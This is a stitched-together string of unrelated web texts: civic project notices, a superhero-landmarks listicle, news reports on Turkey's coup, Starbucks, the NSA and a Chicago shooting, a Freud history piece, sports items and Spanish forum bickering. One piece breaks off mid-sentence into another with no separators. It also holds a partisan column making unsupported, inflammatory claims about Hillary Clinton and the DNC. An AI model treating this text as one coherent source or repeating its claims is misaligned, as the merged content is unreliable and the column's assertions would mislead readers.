We will also recap the project history to date, provide an overview of the proposed intersection design, and review changes that have been made based on input from residents, business owners, and roadway users. After the presentation, staff will facilitate an open discussion.
For more information on this project, please visit www.cambridgema.gov/theworks/inmansquare To be added to the project email list, please contact KyAnn Anderson, Community Relations Manager, at community.cambridge@kleinfelder.com.
The City is developing plans to improve the intersection of Hampshire St and Cambridge St in Inman Square.
At the recent public meeting on Tuesday, July 25, city and design team staff recapped project history to date, and presented a discussion of opportunities and considerations relevant to the plaza design.
Please visit the Documents tab for all project-related materials.Superheroes are everywhere you look these days—and if you're in the right city, the same can be said for their favorite meeting spots. From Avengers Mansion to the Super Friends' Hall of Justice, many of the homes, headquarters, and hangouts of comics' most famous icons were inspired by real-world locations. Here are some of the most notable heroes' headquarters that have served double-duty in both comics and the real world.
1. Avengers Mansion
Wikimedia Commons
First appearing in 1963's Avengers #2, the mansion that Iron Man, Thor, Hulk, and the rest of “Earth's Mightiest Heroes” called home is located at 890 Fifth Avenue in the Marvel Universe's version of Manhattan. Here in the real world, that address corresponds to the Henry Clay Frick House (above and top), a massive mansion that occupies much of the city block where Fifth Avenue meets East 70th Street, and now serves as a museum. Avengers co-creators Stan Lee and Jack Kirby modeled the superhero team's mansion after the Frick House, which Lee passed each day on his commute.
2. The Sanctum Sanctorum
The lair of Marvel's sorcerer supreme, Doctor Strange, is located at 177A Bleecker Street in the Greenwich Village neighborhood of Manhattan. Often at the center of various magical goings-on in the Marvel Comics universe, the real-world apartment building at that address is significantly less impressive—though it does have a notable connection to the comics world. In the 1960s, Marvel Comics writers Roy Thomas and Gary Friedrich shared an apartment at 177A Bleecker, which explains how the address eventually found its way into comics canon. (The fact that there's now a Pinkberry Frozen Yogurt shop on the ground floor of 177 Bleecker is a detail the comics seem to have ignored, for some reason.)
3. The Hall of Justice
Wikimedia Commons
Anyone who grew up watching the feel-good animated adventures of Hanna-Barbera's Super Friends will recognize the unique architecture of the Hall of Justice, the headquarters for Superman, Batman, and the rest of the DC superheroes featured in the program. The unique art-deco style of the building was inspired by the Union Terminal in Cincinnati, Ohio—a former train station that now serves as a museum and library. A background supervisor on the series, Al Gmuer, modeled the Super Friends' iconic base of operations on the terminal, and the fictional building was later incorporated into the DC Comics universe as the headquarters of the Justice League.
4. The Daily Planet Building and Metropolis
Wikimedia Commons
Superman co-creator Joe Shuster once worked as a newsboy, and the inspiration for the fictional Daily Planet newspaper building where Clark Kent works is believed to come from the former headquarters of the Toronto Star, which was called the Daily Star when Shuster worked there. Shuster himself has indicated that Toronto was the visual inspiration for Metropolis, though there isn't anything even remotely resembling the iconic globe that tops the Daily Planet headquarters to be found in the Toronto skyline.
5. Peter Parker's House
Right from the start, Spider-Man co-creators Stan Lee and Steve Ditko chose the Forest Hills neighborhood of Queens, NY, as the home of everyone's favorite webslinging hero, Peter Parker. However, it wasn't until a 1989 issue of The Amazing Spider-Man that his exact address was specified as 20 Ingram Street. While the real-world house at 20 Ingram Street is significantly larger than the modest home Peter Parker lived in with his Aunt May in the comics, the buildings do share one very notable, mind-blowing connection: they're both the home of the Parker family. For more than a decade before Peter Parker's home address was outed in comics, a family with the “Parker” surname had lived in the house at 20 Ingram Street. It's unknown whether the series' writer at the time, David Michelinie, was aware of the coincidence when he chose that address for Peter Parker.
(Bonus: One of the Parker family's neighbors on Ingram Street in real-world Forest Hills is the Osborne family, who are apparently friendly with the Parkers.)
6. Nightwing's Cloisters HQ
Wikimedia Commons
In the late 2000s, former Batman sidekick Dick Grayson (who had switched from Robin to the more adult-sounding moniker of Nightwing when he went solo years earlier), took up residence at The Cloisters Museum in New York City's Washington Heights neighborhood. Serving as the museum's curator by day, he prowled New York by night, and even had certain portions of the building remodeled to suit his secret-base needs. In the real world, the medieval-styled Cloisters hasn't served as the home to any superheroes that we know of, but it still strikes an impressive silhouette at the northern tip of Manhattan.
7. The All-Star Squadron's Perisphere HQ
Wikimedia Commons
The World War II-era adventures of DC's superheroes were rewritten in this early-'80s series which had the old-school versions of Superman, Batman, Wonder Woman, and a long list of other Golden Age heroes operating out of the Trylon and Perisphere in Flushing Meadows, Queens. Built for the 1939 World's Fair, the futuristic pyramid and sphere shapes of the Trylon and Perisphere, respectively, seemed like appropriate headquarters for the team of classic characters—though they were dismantled at the end of the event. All-Star Squadron suffered a similar fate, with the series ending in 1987.
8. Yancy Street
The Fantastic Four's rock-skinned, blue-eyed heavyweight The Thing has never shied away from an opportunity to remind readers that he came from Yancy Street, a tough neighborhood on the Lower East Side of Manhattan. While there isn't any Yancy Street to be found in the real-world version of that neighborhood, there is a Delancey Street—which just so happens to be in the neighborhood where Fantastic Four co-creator Jack Kirby grew up. Given how many real-world details from creators' lives made it into these early Marvel comics, it's assumed by many comics experts that Yancy Street was indeed a stand-in for Delancey Street, which spans the Lower East Side from the Bowery to the East River.
Bonus! Address On File, No Such Resident
Some other famous fictional landmarks that have addresses in the real world but weren't inspired by any existing buildings include the Fantastic Four's Baxter Building, located at the corner of 42nd Street and Madison Avenue; Iron Man's Stark Tower, near Columbus Circle in Manhattan; and the Justice Society of America's former headquarters in Morningside Heights, Manhattan.Starbucks employees still endure irregular hours, insufficient rest and difficulties taking sick days, according to a new report, more than year after the company promised to improve labor conditions for its employees.
More than 200 baristas across the country responded to the survey that formed the basis of the report, which was released by the Center for Popular Democracy. About 25% of employees said they had been asked to close a store and open it the following morning, giving them little time to rest between shifts. Almost half said they received their schedule one week or less in advance, giving little time to plan for childcare or other needs. Two in five employees said they faced difficulties taking sick days.
Last year, the company promised to change conditions for its employees, which it calls “partners,” after a New York Times report documenting the struggles faced by many employees.
Write to Justin Worland at justin.worland@time.com.From the abstract of a 2012 paper by Reed Wood, Jason Kathman, and Stephen Gent:
As a conflict actor weakens relative to its adversary, it employs increasingly violent tactics toward the civilian population as a means of reshaping the strategic landscape to its benefit. The reason for this is twofold. First, declining capabilities increase resource needs at the moment that extractive capacity is in decline. Second, declining capabilities inhibit control and policing, making less violent means of defection deterrence more difficult. As both resource extraction difficulties and internal threats increase, actors’ incentives for violence against the population increase. To the extent that biased military interventions shift the balance of power between conflict actors, we argue that they alter actor incentives to victimize civilians. Specifically, intervention should reduce the level of violence employed by the supported faction and increase the level employed by the opposed faction. We test these arguments using data on civilian casualties and armed intervention in intrastate conflicts from 1989 to 2005. Our results support our expectations, suggesting that interventions shift the power balance and affect the levels of violence employed by combatants.
In fact, they find that military interventions in favor of the rebel faction (as opposed to pro-government or neutral interventions) tend to increase government killings of civilians by about 40% (see Figure 2 below from p. 656).
From their conclusion:
Supporting a faction’s quest to vanquish its adversary may have the unintended consequence of inciting the adversary to more intense violence against the population. Thus, third parties with interests in stability should bear in mind the potential for the costly consequences of countering murderous groups. Potential interveners should heed these conclusions when designing intervention strategies and tailor their interventions to include components specifically designed to protect civilians from reprisals. Such strategies could include stationing forces within vulnerable population centers, temporarily relocating susceptible populations to safe havens that are more distant from the conflict zone, and supplying sufficient ground forces to be consistent with such policies. These actions could fulfill broader interests in societal stability in addition to interests in countering an organization on geopolitical grounds. Successful policies will thus not only counter murderous factions but will explicitly seek to protect civilian populations.
The full paper is here (gated).Ten acres of pump tracks, dirt jumps, trails and more planned for Lake Cunningham Regional Park
By Justin Beck
The City of San Jose’s 270 acre Lake Cunningham Regional Park is best known for housing the Raging Waters amusement park and also includes the Lake Cunningham Regional Skate Park which, at 68,000 square feet, is the largest skate park in California. The skate park features the world’s largest cradle, tallest vert wall and largest full pipe. A new ten acre Bike Park will bring additional action sports to Lake Cunningham and cement it as the premier outdoor adventure sports park.
The ten acre bike park will feature beginner through advanced pump tracks, dirt jumps, freeride park, drop trails and skills trails. A dual slalom track will flank the southwest side of the park providing riders a chance to race each other side by side.
The City of San Jose plans to operate the bike park seven days a week during daylight hours with no entrance fee. Daily parking fees are enforced, and go right back into the operations and maintenance of the park. Programs for all ages will include beginner through advanced riding skills classes, trail building and maintenance programs, private rentals, and special events. City of San Jose Vice Mayor, Rose Herrera, is excited that the new bike park “has the opportunity to become a hub for community and larger scale events and bike races.”
Lake Cunningham Regional Park is easily accessible, only 2.5 miles East of Highway 101 on the corner of Tully Road and White Road. The Lake Cunningham Bike Park is scheduled to open in Fall of 2016. Stay tuned in to future announcements by visiting them on Facebook at facebook.com/LakeCunninghamBikepark.
If you or your organization are interested in sponsorship, advertising, recreation programs, concession, employment, construction, or more information please contact the City of San Jose’s Parks Division at 408-793-4186.
Justin R. Beck is the Recreation Program Specialist at the City of San Jose Department of Parks, Recreation, & Neighborhood Services.Even before Turkey’s President Recep Tayyip Erdogan’s plane landed in Istanbul Friday night, he was vowing “revenge” against those responsible for the attempted military coup then underway and since crushed.
Saturday morning, he and his supporters wasted no time making good on his promise — arresting conspirators, purging the judiciary and blaming the U.S..
According to Turkish Prime Minister Binali Yildirim, 2,839 soldiers and officers implicated in the overnight coup attempt have been arrested. The overnight conflict resulted in 265 deaths, including 104 pro-coup participants, and 1,440 injured in Ankara, the capital, and Istanbul, Turkey’s largest city.
Detained soldiers who participated in the attempted overthrow reportedly claimed to have mistaken the coup attempt for military exercises, the Hurriyet newspaper reported on Saturday.
“Only when people began to climb the tanks, we have understood everything,” one detainees said.
Graphic images on social media suggest at least one Turkish soldier who was part of the coup attempt was beheaded when crowds of Erdogan supporters from the the ruling Justice and Development Party (AKP) rallied on the Bosphorus bridges.
The government is still attempting to corral all soldiers who participated in the coup. The border with neighboring Bulgaria was closed overnight to those attempting to flee Turkey. Eight soldiers who fled to Greece in a military helicopter have requested asylum there and Ankara is demanding their return.
Outrage against the plotters sparked a call for restoration of the death penalty to execute those who mutinied against the Erdogan’s government.
Mehmet Müezzinoglu, ruling Justice and Development Party’s deputy leader, said a bill would be introduced calling for the rebels’ execution.
“We will put forward a motion, which will demand the execution of those who have been involved in the coup attempt,” Müezzinoglu wrote on Twitter.
Following his tweet, #Idamistiyorum (“I want death penalty”) became the top trend on Twitter in Turkey.
Turkish prosecutors have issued 188 arrest warrants for members of the country’s supreme courts. Ten members of the Council of State, Turkey’s top administrative court, are already in custody, according to NTV.
Earlier Saturday, Turkish authorities sacked 2,745 judges from the bench, relieving them of their official duties, following a meeting of Turkey’s High Council of Judges and Prosecutors.
“Mideast Beast: The Scriptural Case for an Islamic Antichrist” completes and establishes the revolutionary argument introduced in Joel Richardson’s New York Times bestselling “Islamic Antichrist,” namely that the Antichrist will be a Muslim, whose empire will arise out of the Middle East.
Throughout the chaos Erdogan pointed the finger at his political foe and U.S. based cleric Fethullah Gulen.
At the height of the conflict Friday, Erdogan gave an interview, via the FaceTime app and a smartphone, where he blamed the coup attempt on a “parallel structure,” a Turkish code phrase for Gulen and his “Gulenist” supporters, whom Erdogan charges, are trying to overthrow his government with secret agents embedded in the military and the judiciary.
In a televised speech, Erdogan called on the U.S. to extradite Gulen. Erdogan said Turkey had never turned back any extradition request for “terrorists” by the U.S. and stressed his nation’s joint role in fighting terrorism.
“I say if we are strategic partners then you should bring about our request,” he said.
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But Gulen, who left Turkey in 1999, has denied any responsibility for the conflict.
In a statement, Gulen said he condemned, “in the strongest terms, the attempted military coup in Turkey.”
“Government should be won through a process of free and fair elections, not force,” he said. “I pray to God for Turkey, for Turkish citizens, and for all those currently in Turkey that this situation is resolved peacefully and quickly.”
Gulen sharply rejected any responsibility: “As someone who suffered under multiple military coups during the past five decades, it is especially insulting to be accused of having any link to such an attempt. I categorically deny such accusations.”
What do YOU think? Did Erdogan stage Turkey’s military coup? Sound off in today’s WND poll.
But Erdogan’s charge was echoed Saturday by Turkish Labor Minister Süleyman Soylu, who claimed Washington was behind the attempted coup.
“The U.S. is behind the coup attempt. A few journals that are published there [in the U.S.] have been conducting activities for several months. For many months we have sent requests to the U.S. concerning Fethullah Gulen. The U.S. must extradite him,” he said.
PM Yildirim also accused followers of Gulen, who have lived in self-imposed exile in the U.S. for years, of being behind the plot. He warned that any country that stands by the cleric will not be a friend of Turkey and will be considered to be at war with the nation, Reuters reported.
U.S. Secretary of State John Kerry, visiting Luxembourg, said the U.S. was willing to consider extradition, but Turkey would have to provide proof first.
“We fully anticipate that there will be questions raised about Mr. Gulen,” Kerry told reporters. “And obviously we would invite the government of Turkey, as we always do, to present us with any legitimate evidence that withstands scrutiny. And the United States will accept that and look at it and make judgments about it appropriately.”
Erdogan is certain to carry out and extend his threats of revenge. Even before he was almost removed from power, he had jailed scores of journalists and brought 1,800 criminal cases against people accused of “insulting the president.”“What difference at this point does it make?” When Hillary uttered those words, she knew something the rest of us didn’t. If populists behind Donald Trump have any hope of reclaiming America, it is absolutely crucial that they find out why
The Butcher of Benghazi is Coming for America
When Hillary Rodham Clinton turned stomachs with the statement “What difference at this point does it make?” at the January 23, 2013 Senate Committee on Foreign Relations hearing into the Benghazi scandal, she was, in effect, declaring her 2016 presidency. Wearing the role of “Butcher of Benghazi” as proudly as she was to later wear her $12G Armani jacket while blasting income inequality, all questions about how she left four Americans, including Ambassador Christopher Stevens to die when she was Secretary of State, rolled off of her like the proverbial water off a duck’s back.
In other words, the arrogantly corrupt and openly defiant Hillary Clinton had already transitioned over to America’s ‘1st Woman President’ in her scheming head. To her, nothing else could ever matter. Looking back, Clinton’s grilling about Benghazi at the Senate Hearing took place within three days of the second inauguration of Barack Obama as president. If Barack Hussein Obama whom she had slavishly helped re-elect with her lies about Benghazi being the fault of an obscure anti-Muslim video could get elected a second time, the 2016 presidency would be an easy stroll in the park for her. The pages of the calendar arrive at the Democratic National Convention on Monday, where the Clinton crown awaited being picked up from a beribboned cushion; her official nomination by Meryl Streep via satellite from a New York bar arriving for what was a Democrat nomination by acclamation.
2016 Democratic National Convention ‘The Freak Show of Politics’ With everything—including bought off by a reported million dollar book deal Bernie Sanders’ pre-determined 11th hour switcheroo orchestrated to go off without a glitch, the fix was in. There were no faux Greek columns needed when America was traded over from a con man to a con woman. No Messiah was needed to make the 2016 Democratic National Convention ‘The Freak Show of Politics’, including a bevy of media scribes openly “weeping with joy”. Ordinary Americans registered disdain that until some PR flunky thought to send out for them like pizza, there were no American flags on stage at the Wells Fargo Center but a big display of Soviet and Palestinian ones. There was no mention of Obama’s JV team, known to the rank and file as ISIS, no moment of silence for the humble priest forced to kneel before having his throat cut during mass in St-Etienne at Saint-Etienne-du-Rouvray, France yesterday. It’s LOL all the way for the “victory is ours” Democrats.
The pervasive stench of a coming Hillary Clinton presidential victory On the occasion of the Munich mass murder where teenagers were lured to McDonalds for free burgers by Ali Sonboly, who left eight dead and ten injured, a grinning Obama cracked jokes while speaking to law enforcement agents at the Eisenhower Executive Office building, adjacent to the White House. The only reason there were no ISIS flags at Clinton’s DNC nomination is because if there is, as she and Obama claim, no such thing as Islamic terrorism, how can there be an ISIS flag. Eight mothers, in support of Clinton, known as ‘Mothers of the Movement’ were greeted by chants of “Black Lives Matter” as they took to the stage at Philadelphia’s Wells Fargo Center last night. Clinton-obsessed Democrats did not honor families of police officers killed in the line of duty, nor did any of their speakers mention that the shooting deaths of police is up 78% this year. The pervasive stench of a coming Hillary Clinton presidential victory has been seeping out of the Democratic National Convention identifiable by its odor of the rot and decay that now drenches America and the West. “What difference at this point does it make?” When Hillary uttered those hateful words, she knew something the rest of us didn’t. If patriot populists behind Donald J. Trump have any hope of reclaiming America, it is absolutely crucial that they find out why. Meanwhile, the thunderous sound of donkeys hooves can clearly be heard. The Butcher of Benghazi is coming. She’s coming for America.
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Judi McLeod is an award-winning journalist with 30 years’ experience in the print media. A former Toronto Sun columnist, she also worked for the Kingston Whig Standard. Her work has appeared on Rush Limbaugh, Newsmax.com, Drudge Report, Foxnews.com.
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Controversial "neomasculinist" group Return of Kings has cancelled gatherings planned in more than 40 countries, including New Zealand.
The "meetups" planned for Saturday were cancelled because the safety and privacy of men who wanted to attend could not be guaranteed, group creator Roosh Valizadeh said on Thursday.
Valizadeh, who advocates for legalising rape on private property and supported the Roast Busters group in the past, had set up the meetings for like-minded men across the globe.
He had already been forced to take some of the gatherings "underground", saying that in order to save the group's "most threatened meetups", men in New Zealand, Australia, Canada, Iceland and United Kingdom needed to come up with alternate meeting locations.
READ MORE:
* New Zealand men to protest 'neomasculinist' group meetings
* Pro-rape group leader could be barred from New Zealand
* 'Neomasculinist' group plan international meetup
* Louise Nicholas tells 'legal rape' group: Walk in my shoes for a day
* Game Over: Neil Strauss, king of pick-up artists, changes his tune
* Controversial 'pick-up artists' cancel New Zealand event plans
New Zealand's meetups were planned for Auckland, Wellington and Dunedin.
Valizadeh announced the cancellation on the Return of Kings website.
"I can no longer guarantee the safety or privacy of the men who want to attend on February 6, especially since most of the meetups can not be made private in time," he said.
"While I can't stop men who want to continue meeting in private groups, there will be no official Return Of Kings meetups. The listing page has been scrubbed of all locations. I apologise to all the supporters who are let down by my decision."
Previously he was predicting "one of the biggest meetups the world has seen", with 165 gatherings planned. They would be the start of regular gatherings "that serve men in a way that internet sites do not".
Original locations planned for this country were Aotea Square in Auckland, Glover Park in Wellington, and in front of Dunedin Town Hall.
After it had been decided to go underground, followers were instructed to meet at these places, identify each other using code phrases, then move to another location.
Protests in opposition to the New Zealand meetups were still going ahead.
Auckland man John Palethorpe was involved in organising a protest against the "pro rape" group.
Hundreds are expected to attend a peaceful occupation - dubbed an "anti-misogyny party" - at Auckland's Aotea Square on Saturday from 8pm. A similar event was also planned for Wellington.
Palethorpe said Valizadeh embodied "the sort of aggressive, violent, misogyny women face everyday".
Valizadeh established the Return of Kings website in 2012 and has more than 18,000 Facebook likes and publishes about 15 articles a month.
He has talked on social media about making a visit to Australia, a suggestion met with opposition and calls to ban him. Similar calls have been made in this country, should he decide to try to visit here.
Police in this country called the group's views "distasteful and offensive" and had planned to monitor the meetings before they were cancelled.
In 2013 Valizadeh posted on Facebook in apparent support of the Roast Busters, a group of young Auckland men who boasted online about having sex with drunk, underage girls, on social media.
He posted a link to a news report about the group, commenting: "New Zealand authorities encourage girls to come forth with false rape charges against group of men".WASHINGTON (MarketWatch) — While he was running the National Security Agency, former director Keith Alexander owned and traded commodities firms linked to China and Russia, according to a report.
A new report by Foreign Policy Magazine shows that Alexander’s financial disclosure forms show Alexander was involved in commodities trades that have been called an “opaque” by experts. The report, which cited forms first disclosed in Vice Magazine, noted that Alexander’s activity was cleared by ethics officials.
During Alexander’s time running the agency, Alexander sold shares involved in the potash market, which is a mineral found in fertilizer and is controlled by companies largely in Canada, Russia and China, as well as a state-owned aluminum company in China.
Alexander’s activities are also interesting considering his actions in the potash market occurred around the same time he started calling cyber espionage by countries like China the “greatest transfer of wealth in American history.”
The report said he traded Potash Corp. of Saskatchewan US:POT — missing the top in June 2008 but also avoiding the bottom in the second half of 2008 — as well as Aluminum Company of China ACH, +1.34% He subsequently bought Mosaic Co. MOS, +2.32%, another potash supplier in Oct. 2008, and then sold just a few months later, making barely any money on it.
Reuters reported that the former director had arranged for the NSA’s chief technology officer to work part-time for his consulting firm, IronNet Cybersecurity. Alexander has subsequently terminated the working relationship.
Want news about Asia delivered to your inbox? Subscribe to MarketWatch's free Asia Daily newsletter. Sign up here.Sigmund Freud was 82 years old and suffering from cancer of the jaw when he fled to London from Vienna in 1938. Freedom gave him a final burst of creative energy and in the last 18 months of his life he finished a book, Moses and Monotheism, which he had hesitated over for years and compiled a summary of his life's work, An Outline of Psychoanalysis. When asked about his productivity at the time, he was known to give a rather curious response: "Thank the Fuhrer."
After Hitler came to power, many Jews saw the writing on the wall and left Germany. Einstein, for example, did so almost at once. But Freud steadfastly refused, even though many friends warned him that the Nazis were bound to take over Austria. When they finally did in March 1938, Freud still would not consider leaving. He only changed his mind on March 22nd when the Gestapo arrested his beloved daughter Anna. Gripped with fear, Freud frantically paced up and down his apartment chain-smoking cigars--and he did not even know of the pills she had taken with her so that she could commit suicide if tortured.
In the end, Anna was allowed to return home as a result of intense pressure from two close friends of Freud--Princess Marie Bonaparte, Napoleon's great grandniece and William Bullitt, the American ambassador to France. These connections, however, would not have been enough to persuade the Nazis to let Freud leave. Here, he had an improbable stroke of luck. The Nazis imposed a Komissar to run every Jewish business in Austria just as they had done in Germany. The Komissar's job was to fleece Jews of as much money as they could. By sheer fluke, the Nazis appointed as Freud's Komissar Dr. Anton Sauerwald, a forty-four year-old chemist whose hobbies included bomb making and gardening. It was Freud's good fortune that Sauerwald's professor had been one of Freud's friends.
As an academic, Sauerwald felt he had to read Freud's books so that he could perform his Nazi duties properly. Recognizing Freud's brilliance, slowly the Nazi chemist became convinced that he should help Freud. He hid damning evidence that the analyst had secret bank accounts in a number of European countries. Then he helped Freud and sixteen members of his family get exit visas. These cost a great deal of money which Freud did not have, but his helpful Komissar arranged for the sale of some of Freud's antiquities to foot the bill. Even more remarkable, Sauerwald got the Gestapo to pay for transporting many of Freud's books and the famous analytic couch to London. They are now in the Freud Museum in Hampstead.
On the day of his escape, the Gestapo would not let Freud board the train for Paris until he provided a statement that absolved them of any blame. "I can heartily recommend the Gestapo to anyone," Freud wrote. The Nazis did not see the irony.
Freud loved London and often told his friends he thanked Hitler for making it necessary for him to leave. Sauerwald stayed in touch and then came to London himself to see the old man; Freud promptly complained about English doctors and asked him to get his Vienna doctor to come to treat him. As the doctor was a Nazi he didn't need an exit visa, and Sauerwald offered to drive him to London. The doctor operated on Freud the day after he arrived--an operation Freud believed gave him another year of life.
One might have expected the Freud family to be very grateful to Sauerwald, but sadly they were not. After the war, one of Freud's nephews, Harry who was an American officer tracked Sauerwald down and had him arrested. Sauerwald was charged with war crimes, specifically of robbing the Freud family of its assets.
Sauerwald's trial lasted longer than those at Nuremberg. He spent months sick in jail before he ever set foot in the court. From his cell Sauerwald appealed to the Freud family for help, but Anna Freud was ambivalent. She hesitated because her brother Martin hated Sauerwald, ironically, because he had been helpful when Martin was rash enough to criticise the Nazis openly.
Eventually, however, Anna wrote a letter detailing how Sauerwald had saved her father. But even then, she did not actually sign it. After my book, The Escape of Sigmund Freud, came out in England, I was contacted by Anna Freud's last secretary, Gina Le Bon. She had never heard of Sauerwald even though she worked for Anna for some 20 years. He had been airbrushed out of Freudian history.
Sauerwald saved 16 Jews in all. He failed to obtain exit visas for four of Freud's sisters, and they all died in concentration camps. Anton Sauerwald is an unsung hero who deserves far better than he received. Perhaps when Freud was thanking the Fuhrer, he had another Nazi in mind.Even before today's big announcement that HBO Sports will no longer be in business with Golden Boy Promotions, the signs were quite clear that Golden Boy was aligning almost exclusively with Showtime Sports and their new boss, former GBP lawyer Stephen Espinoza.
One of the few fighters under the Golden Boy and Al Haymon banners to remain on HBO was Adrien Broner, the rising Cincinnati star, still just 23 years of age and considered one of the rising stars, in and out of the ring, in the boxing world. Broner has done good TV ratings for HBO and picks up buzz with each passing fight, and with a lot of his corny but seemingly effective interviews.
Broner may have been really at the heart of the matter. With his idol Floyd Mayweather leaving HBO for Showtime and CBS Sports, it was expected that Broner would be positioned as the new face of HBO boxing, if not immediately, then very soon. That would have meant that HBO needed to lock Broner up in a long-term deal, and with little leverage in any potential negotiations with Haymon and Golden Boy on that front, that could be near the heart of the matter here: How far was HBO willing to bend over to keep Broner in their TV stable?
If that was a deciding factor, then the answer is not far enough. Kevin Iole reports that Broner may have a decision of his own to make soon, too: His contracts with GBP and Haymon expire in April, and 50 Cent has expressed interest.
Broner's contract with Golden Boy and adviser Al Haymon reportedly expires in April. Rap star turned boxing promoter Curtis "50 Cent" Jackson has reportedly made an offer to Broner to join his company, SMS Promotions, when his Golden Boy deal is done.
There's no question that Haymon and Golden Boy are better at promoting boxing than Mr. Jackson has proven to be so far. 50 has gotten Yuriorkis Gamboa a fight that was essentially promoted by Top Rank, led Billy Dib into a featherweight title loss, and has Andre Dirrell lined up for a Friday Night Fights main event. Right now, he's still finding his footing, if that's ever going to happen.
Broner, of course, is an actual relevant star fighter right now with a growing fan base, and he would make 50 Cent's promotional team matter a bit more. But what |
revolucionadas no, que probablemtne sea mas mayor k tu.. por tu nik de 16 mas k nada lo digo... bien.. tiempo al tiempo de kien es el año, y futbol si he visto xaval.. mas k tu! dedicate al basket anda. k es lo tuyo!
#2936 vetustillo16
18.Jul.2010 | 02:29 #2935 APM??? k son las siglas de ALGUN PATETICO MADRIDISTA? t hago gracia tio? pues yo kreo k no saeees??? y Bojan es un fantastico jugador, pero Pep no l ha dado las oporunidades suficentes para demostrarlo y poder mejorar..pero se demostrará con el tiempo.. y de quinceañeras con las hormonas revolucionadas no, que probablemtne sea mas mayor k tu.. por tu nik de 16 mas k nada lo digo... bien.. tiempo al tiempo de kien es el año, y futbol si he visto xaval.. mas k tu! dedicate al basket anda. k es lo tuyo! a parte de que lo d las siglas ha sido...muy malo, creo que si me haces gracia saes? tu opinion sobre bojan es respetable (erronea, pero respetable) me hace gracia lo mal q escribes, como si estuvieras hiperactivo (mas mayor??) y tus chistes malos... mi nik de 16 no es por los años que tengo (soy mucho mayor) si no porque un dia 16 empezo la mejor etapa de mi vida, que seguro que he disfrutado y disfruto MAS que tu la mejor etapa de tu vida. y si tu dices de mi nik...has visto el tuyo? deberias haber puesto sincerebro o sinhermanos...dedicate a babear, que es lo tuyo!
#2937 tramusito
18.Jul.2010 | 06:56 2935 - 2936 esto es para opinar de la noticia de l fichaje de adriano y punto no para que os pongais a parir. adriano es un muy buen refuerzo y polivalente visca el barÇa!!! hemos sido la base de la "roja" y españa a ganado el mundial y jugando de p.... madre. ese es el juego del barça amigos, no creo que pueda pararlo ni el tio traductor ni nadie pq nosotros somos un equipo, el MEJOR EQUIPO y el r.madrid son un puñado de estrellas jugando a su aire sin orden ni concierto.New Awareness Campaign INSEPARABLE is announced by the European Union
EU Commissioner for Maritime Affairs and Fisheries, Maria Damanaki has introduced a new, EU wide sustainable fishing campaign and program called INSEPARABLE. The campaign was created as a measure to change fish consumption to sustainable seafood in order to improve the health of Europeans and to protect the jobs of Europeans and maritime economic prosperity. At its heart, INSEPARABLE is an awareness campaign.
The European Union has a huge effect on patterns of seafood consumption. As the leading importers of fish products, the European Union has taken measures to protect global oceans and fisheries. Recently, in 2013, the European Commission agreed to implement the CFP, or Common Fisheries Policy. The fact is that fisheries and sustainable fisheries practices affect everyone. This is not a resource that stays put within state boundaries, as marine life is constantly migrating and moving in the global oceans. The European Union uses the European Commission to implement and improve policy in a way which transcends physical state boundaries.
Fisheries are a renewable resource, but the renewability relies on measures to prevent overfishing which can wipe out fish stocks, degrading marine environments and sending marine based economies into a recession. The INSEPARABLE project is an attempt to bring awareness to the difference that each consumer can make it choosing sustainable harvested seafood in order to ensure that the oceans remain prosperous and bountiful. The website, http://ec.europa.eu/fisheries/inseparable/en, features a campaign of pairing together consumers, workers, and fishers with the seafood that allows them to sustain their way of life. Whatever you have to say about INSEPARABLE, you have to admit that their logos are compelling!
INSEPARABLE is not a hard, scientific website with dry statistics preaching doom and gloom on the state of the marine ecosystems of our world. Instead, it features inspirational stories which showcase the need for sustainability and how our lives can be lived in a sustainable way. Even the resource section is filled with banners, posters and a FAQ which reads as a fluff piece highlighting the need to be a part of the sustainability movement. If you dig deeper to the “Resources by Country Section”, you can find country specific information, but prepare to be able to speak the regional languages in order to understand most of the information provided. The website and project seems to be a way to showcase the changes to the Common Fisheries Policy in a positive way, to inspire consumers and business to switch to sustainable seafood, and to paint the European Union as a pro-sustainability organization.
The European Union has been a force towards sustainability. Initiatives such as the 2010 IUU (Illegal, Unreported, and Unregulated) fishing program to document where fish are sourced and how they are caught in a sustainable manner is just one example of the programs that the EU uses in order to maintain a sustainable marine ecology. How does the EU implement and enforce this policy? Any seafood product entering the EU borders must be certified by the exporting country to comply with fishing regulations. The EU’s goals would appear to be largely economically related, as their fishing industry is one of the most highly regulated in the world, and, as such, they would wish to globalize their regulations in order to protect marine sustainability as well as put their producers on an equal playing field with the rest of the world. The fact is that sustainability movements cannot rely in the short term on ethical, moral, or way of life movements in order to make changes that respond to pressing matters and crises. While sustainability as a movement has made long term gains in shifting the attitudes of people, it is the economic situation of countries faced with losing their fish stocks that will cause the largest policy shifts.Two teenage girls were wounded, one critically, in a shooting late Monday in the Gresham neighborhood on the South Side. Kye Martin reports. (Published Tuesday, Dec. 27, 2016)
Two teenage girls were wounded, one critically, in a shooting late Monday in the Gresham neighborhood on the South Side.
The girls, ages 13 and 14, were sitting in a van at 11:34 p.m. in the 7500 block of South Union when two males walked up and fired shots into the vehicle before running away, according to Chicago Police.
The 14-year-old was struck in the back and taken in critical condition to Comer Children’s Hospital, police said. The 13-year-old suffered a graze wound to the arm and was taken to St. Bernard Hospital, where she was listed in good condition.
The younger girl’s father, a 28-year-old documented gang member, was driving the van shortly before the shooting, according to police. He had just gotten out of the van and gone inside a home when the shooting occurred.
Police said it was not known if the girls were the intended targets, but neither of them had any gang affiliations.
A 2-year-old boy was also inside the van at the time of the shooting, but he was not injured, police said.
Copyright SunTimes / NBC ChicagoDamien Duff is heading to Australia after bringing to an end his time in West London.
Melbourne City have announced the signing of former Republic of Ireland winger Damien Duff on a one-year deal.
- Transfer Talk: Morata moving for Real Madrid
Duff, 35, is out of contract this summer after five years at Fulham, who were relegated to the Championship last season.
The midfielder started his senior career at Blackburn before moving to Chelsea, where he won two Premier League titles, and then Newcastle.
The addition of Duff at Manchester City-owned Melbourne City follows last week's high-profile capture of Spanish striker David Villa for a 10-game guest stint at the start of the 2014-15 A-League season.
Of Duff's arrival, head coach John van't Schip told the club's official website: "We're excited to have a player of Damien's quality and experience for this season.
"We believe he can offer international standard quality on the pitch and will also be a great professional example for our younger players.
"His career speaks for itself. He has achieved almost everything at club level and has been a great player at an international level too.
"He comes to us straight from the English Premier League with Fulham, so he has been playing at the highest level against top teams and top players.
"When we met with Damien, he was excited about the opportunity here and keen to work with us to help make this project a success."
Melbourne City also confirmed they have extended the contracts of Benjamin Garuccio and Stefan Mauk.There are so many stocks to invest, but how you find the best ones?
